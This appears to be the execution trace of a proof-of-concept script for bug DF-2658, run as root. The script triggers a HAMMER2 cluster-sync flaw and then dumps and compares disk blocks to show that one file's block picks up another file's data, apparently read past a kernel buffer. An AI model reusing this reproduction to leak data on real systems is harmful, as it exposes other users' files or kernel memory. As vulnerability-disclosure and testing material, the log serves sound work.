DF-2658 / run_fixed.log
+ LABEL=tv58
+ vnconfig -u vn0
+ vnconfig -u vn1
+ vnconfig -u vn2
+ timeout 5 umount -f /mnt/h2a
+ timeout 5 umount -f /mnt/h2b
+ timeout 5 umount -f /mnt/h2c
+ mkdir -p /mnt/h2a /mnt/h2b /mnt/h2c
+ dd 'if=/dev/urandom' 'of=/root/poc/df2658/d1.bin' 'bs=4096' 'count=1' 'status=none'
+ dd 'if=/dev/urandom' 'of=/root/poc/df2658/f_ab.bin' 'bs=1024' 'count=1' 'status=none'
+ dd 'if=/dev/urandom' 'of=/root/poc/df2658/d2.bin' 'bs=4096' 'count=1' 'status=none'
+ dd 'if=/dev/urandom' 'of=/root/poc/df2658/f_c.bin' 'bs=65536' 'count=1' 'status=none'
+ dd 'if=/dev/urandom' 'of=/root/poc/df2658/d1_c.bin' 'bs=4096' 'count=1' 'status=none'
+ dd 'if=/dev/urandom' 'of=/root/poc/df2658/d2_c.bin' 'bs=4096' 'count=1' 'status=none'
+ dd 'if=/dev/zero' 'of=/root/poc/df2658/base.img' 'bs=1m' 'count=256' 'status=none'
+ vnconfig -c vn0 /root/poc/df2658/base.img
+ newfs_hammer2 -L tv58 /dev/vn0
Volume /dev/vn0 size 256.00MB
checkvolu header 0 0000000010000000/0000000010000000
---------------------------------------------
version: 2
total-size: 256.00MB (268435456 bytes)
boot-area-size: 8.00MB (8388608 bytes)
aux-area-size: 8.00MB (8388608 bytes)
topo-reserved: 4.00MB (4194304 bytes)
free-size: 236.00MB (247463936 bytes)
vol-fsid: 926373fc-c86d-11f1-a159-010000000000
sup-clid: 926374c6-c86d-11f1-a159-010000000000
sup-fsid: 92637733-c86d-11f1-a159-010000000000
PFS "LOCAL"
clid 926534cb-c86d-11f1-a159-010000000000
fsid 92653590-c86d-11f1-a159-010000000000
PFS "tv58"
clid 92653682-c86d-11f1-a159-010000000000
fsid 92653737-c86d-11f1-a159-010000000000
+ echo 'NEWFS_RC=0'
NEWFS_RC=0
+ vnconfig -u vn0
+ cp /root/poc/df2658/base.img /root/poc/df2658/A.img
+ vnconfig -c vn0 /root/poc/df2658/A.img
+ mount -t hammer2 /dev/vn0@tv58 /mnt/h2a
+ echo 'MOUNT_A_SOLO_RC=0'
MOUNT_A_SOLO_RC=0
+ dd 'if=/root/poc/df2658/d1.bin' 'of=/mnt/h2a/d1' 'bs=4096' 'count=1' 'status=none'
+ dd 'if=/root/poc/df2658/f_ab.bin' 'of=/mnt/h2a/F' 'bs=1024' 'count=1' 'status=none'
+ dd 'if=/root/poc/df2658/d2.bin' 'of=/mnt/h2a/d2' 'bs=4096' 'count=1' 'status=none'
+ hammer2 stat /mnt/h2a/d1 /mnt/h2a/F /mnt/h2a/d2
PATH ncp data-use inode-use comp check quota
/mnt/h2a/d1 0 0.00B 0 lz4:default xxhash64
/mnt/h2a/F 0 0.00B 0 lz4:default xxhash64
/mnt/h2a/d2 0 0.00B 0 lz4:default xxhash64
+ sync
+ sleep 2
+ umount /mnt/h2a
+ echo 'UMOUNT_A_SOLO_RC=0'
UMOUNT_A_SOLO_RC=0
+ vnconfig -u vn0
+ cp /root/poc/df2658/A.img /root/poc/df2658/B.img
+ md5 /root/poc/df2658/A.img /root/poc/df2658/B.img
MD5 (/root/poc/df2658/A.img) = 4d9a57d224b825a16b71162766095424
MD5 (/root/poc/df2658/B.img) = 4d9a57d224b825a16b71162766095424
+ cp /root/poc/df2658/base.img /root/poc/df2658/C.img
+ vnconfig -c vn2 /root/poc/df2658/C.img
+ mount -t hammer2 /dev/vn2@tv58 /mnt/h2c
+ echo 'MOUNT_C_SOLO_RC=0'
MOUNT_C_SOLO_RC=0
+ dd 'if=/root/poc/df2658/d1_c.bin' 'of=/mnt/h2c/d1' 'bs=4096' 'count=1' 'status=none'
+ dd 'if=/dev/urandom' 'of=/mnt/h2c/F' 'bs=1' 'count=1' 'status=none'
+ sync
+ sleep 1
+ dd 'if=/root/poc/df2658/f_c.bin' 'of=/mnt/h2c/F' 'bs=65536' 'count=1' 'status=none'
+ dd 'if=/root/poc/df2658/d2_c.bin' 'of=/mnt/h2c/d2' 'bs=4096' 'count=1' 'status=none'
+ hammer2 stat /mnt/h2c/d1 /mnt/h2c/F /mnt/h2c/d2
PATH ncp data-use inode-use comp check quota
/mnt/h2c/d1 0 4.00KB 0 lz4:default xxhash64
/mnt/h2c/F 0 0.00B 0 lz4:default xxhash64
/mnt/h2c/d2 0 0.00B 0 lz4:default xxhash64
+ ls -l /mnt/h2c/F
-rw-r--r-- 1 root wheel 65536 Oct 15 07:54 /mnt/h2c/F
+ sync
+ sleep 2
+ umount /mnt/h2c
+ echo 'UMOUNT_C_SOLO_RC=0'
UMOUNT_C_SOLO_RC=0
+ vnconfig -u vn2
+ sysctl 'vfs.hammer2.debug=1'
vfs.hammer2.debug: 0 -> 1
+ vnconfig -c vn0 /root/poc/df2658/A.img
+ vnconfig -c vn1 /root/poc/df2658/B.img
+ vnconfig -c vn2 /root/poc/df2658/C.img
+ mount -t hammer2 /dev/vn0@tv58 /mnt/h2a
+ echo 'CLUSTER_M1_RC=0'
CLUSTER_M1_RC=0
+ mount -t hammer2 /dev/vn1@tv58 /mnt/h2b
mount: Device busy
+ echo 'CLUSTER_M2_RC=1'
CLUSTER_M2_RC=1
+ mount -t hammer2 /dev/vn2@tv58 /mnt/h2c
mount: Device busy
+ echo 'CLUSTER_M3_RC=1'
CLUSTER_M3_RC=1
+ i=0
+ [ 0 -lt 300 ]
+ dmesg
+ grep -q 'replace rec .* slave 2 3\.0000000000000000'
+ date +%s
+ echo 'DATA_REPLACE_SEEN at 1792050844 poll=0'
DATA_REPLACE_SEEN at 1792050844 poll=0
+ break
+ sync
+ sync
+ sleep 1
+ sync
+ echo '--- sync pass lines ---'
--- sync pass lines ---
+ grep -E 'replace rec|insert rec|destroy rec'
+ tail -20
+ dmesg
replace rec 0xfffff8011b8c1500 slave 2 1.0000000000000400 mod=0000000000000000
replace rec 0xfffff8011b8c1800 slave 2 1.0000000000000401 mod=0000000000000000
replace rec 0xfffff8011b8c1980 slave 2 1.0000000000000402 mod=0000000000000000
replace rec 0xfffff8011b8c1c80 slave 2 4.eeaf0a4ee4e18001 mod=000000000000000b
replace rec 0xfffff8011b8c1f80 slave 2 3.0000000000000000 mod=0000000000000017
replace rec 0xfffff8011b8c1980 slave 2 1.0000000000000402 mod=0000000000000019
replace rec 0xfffff8011b8c2100 slave 2 3.0000000000000000 mod=0000000000000013
replace rec 0xfffff8011b8c1800 slave 2 1.0000000000000401 mod=0000000000000015
replace rec 0xfffff8011b8c2280 slave 2 3.0000000000000000 mod=000000000000000f
replace rec 0xfffff8011b8c1500 slave 2 1.0000000000000400 mod=0000000000000011
replace rec 0xfffff8011b8c1080 slave 2 1.86cc8a630caf8000 mod=0000000000000019
+ cd /root/poc/df2658
+ echo '=== locate F on B (source geometry) and on C (victim) ==='
=== locate F on B (source geometry) and on C (victim) ===
+ ./scanbin find B.img f_ab.bin 8 8388608 41943040
+ ./scanbin find C.img f_ab.bin 8 8388608 41943040
+ cat find_B_fab.txt find_C_fab.txt
HIT 29364224
HIT 29372416
+ sed -n 's/HIT //p' find_B_fab.txt
+ head -1
+ OFF_B=29364224
+ sed -n 's/HIT //p' find_C_fab.txt
+ head -1
+ OFF_C=29372416
+ echo 'OFF_B=29364224 OFF_C=29372416'
OFF_B=29364224 OFF_C=29372416
+ echo 'OFF_B_in_64K=4096 (in-dio offset of the focus allocation)'
OFF_B_in_64K=4096 (in-dio offset of the focus allocation)
+ echo 'expected read past the 64KB kernel dio buffer end = 4096 bytes'
expected read past the 64KB kernel dio buffer end = 4096 bytes
+ echo '=== alignment sanity on B: d1 before F, d2 after F ==='
=== alignment sanity on B: d1 before F, d2 after F ===
+ ./scanbin find B.img d1.bin 4 8388608 41943040
+ ./scanbin find B.img d2.bin 4 8388608 41943040
+ cat find_B_d1.txt find_B_d2.txt
HIT 29360128
HIT 29365248
+ ./scanbin dump C.img 29372416 65536 F_block_on_C.bin
DUMP 29372416 + 65536 -> F_block_on_C.bin
+ ./scanbin dump B.img 29364224 65536 F_block_on_B.bin
DUMP 29364224 + 65536 -> F_block_on_B.bin
+ ./scanbin dump C.img 29373440 64512 F_tail_on_C.bin
DUMP 29373440 + 64512 -> F_tail_on_C.bin
+ ./scanbin dump B.img 29365248 64512 F_tail_on_B.bin
DUMP 29365248 + 64512 -> F_tail_on_B.bin
+ echo '=== victim block: 64K live F block on C ==='
=== victim block: 64K live F block on C ===
+ ./scanbin stat F_block_on_C.bin 0 65536
REGION off=0 len=65536 nonzero=17347 zero=48189
+ ./scanbin stat F_tail_on_C.bin 0 64512
REGION off=0 len=64512 nonzero=16328 zero=48184
+ echo '=== victim tail vs B media tail at the same relative position ==='
=== victim tail vs B media tail at the same relative position ===
+ echo '(MATCH = read from the focus dio buffer = B media region content;'
(MATCH = read from the focus dio buffer = B media region content;
+ 'echo DIFFER after the 64K-buffer seam = read from kernel memory past the'
/root/poc/df2658/trigger_df2658.sh: echo DIFFER after the 64K-buffer seam = read from kernel memory past the: not found
+ 'echo end of the dio buffer)'
/root/poc/df2658/trigger_df2658.sh: echo end of the dio buffer): not found
+ ./scanbin cmp F_tail_on_C.bin 0 64512 F_tail_on_B.bin
CMP off=0 len=64512 equal_prefix=0 first_diff=set ndiff=19541
first_diff_at=0 (region-relative) file_byte=0
file@diff : 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
ref@diff : 39 45 1e 59 30 23 c6 dc 6b 57 18 07 1a 42 84 a3
+ echo '=== cross-file leak: d1/d2 content inside the victim tail ==='
=== cross-file leak: d1/d2 content inside the victim tail ===
+ echo -n 'd1: '
d1: + ./scanbin find F_tail_on_C.bin d1.bin 2
+ head -2
HIT 3072
+ echo -n 'd2: '
d2: + ./scanbin find F_tail_on_C.bin d2.bin 2
+ head -2
+ echo '=== hexdump: victim head (focus content), tail start, tail end ==='
=== hexdump: victim head (focus content), tail start, tail end ===
+ hexdump -C -n 64 F_block_on_C.bin
00000000 55 89 8b 11 e1 4a 99 50 87 84 cf fb 72 48 44 11 |U....J.P....rHD.|
00000010 2c 3d f7 6c b3 f5 c6 f9 bd a6 8d bb 87 6f 0d b9 |,=.l.........o..|
00000020 9d 43 b8 c2 49 c7 a3 08 7f 94 54 b5 d9 af 15 98 |.C..I.....T.....|
00000030 45 1c 8d 26 09 1f 7c 8d d5 83 05 e5 b8 a4 04 ba |E..&..|.........|
00000040
+ echo '... victim tail start (block byte 1024):'
... victim tail start (block byte 1024):
+ hexdump -C -n 48 F_tail_on_C.bin
00000000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
*
00000030
+ echo '... victim tail end (last 32B of the 64K block):'
... victim tail end (last 32B of the 64K block):
+ tail -c 32 F_tail_on_C.bin
+ hexdump -C
00000000 1c 1f e0 10 6e 8e 08 b0 c1 f3 7e ce be 20 11 39 |....n.....~.. .9|
00000010 00 07 2c 79 93 23 41 e8 ca 92 bc 89 f0 7c 5b 06 |..,y.#A......|[.|
00000020
+ echo '=== B media tail at the same relative position (what legitimately lives there) ==='
=== B media tail at the same relative position (what legitimately lives there) ===
+ hexdump -C -n 48 F_tail_on_B.bin
00000000 39 45 1e 59 30 23 c6 dc 6b 57 18 07 1a 42 84 a3 |9E.Y0#..kW...B..|
00000010 6a ef 68 bc f9 7b 66 bb d6 d3 a0 13 ad f9 e2 d7 |j.h..{f.........|
00000020 5b 3c 16 fc 13 a8 14 67 bd 72 c6 cb 90 82 4d 78 |[<.....g.r....Mx|
00000030
+ md5 F_block_on_C.bin F_block_on_B.bin f_ab.bin f_c.bin
MD5 (F_block_on_C.bin) = 55e3921787ba489039d7f8c0d37108b5
MD5 (F_block_on_B.bin) = 717ba2d8ae0aa05fc674a3b7c917c598
MD5 (f_ab.bin) = 7fe9d6ae91d0d5eccdd99ffca61e89f2
MD5 (f_c.bin) = a693f957005544c5a27308bb31b1d763
+ sync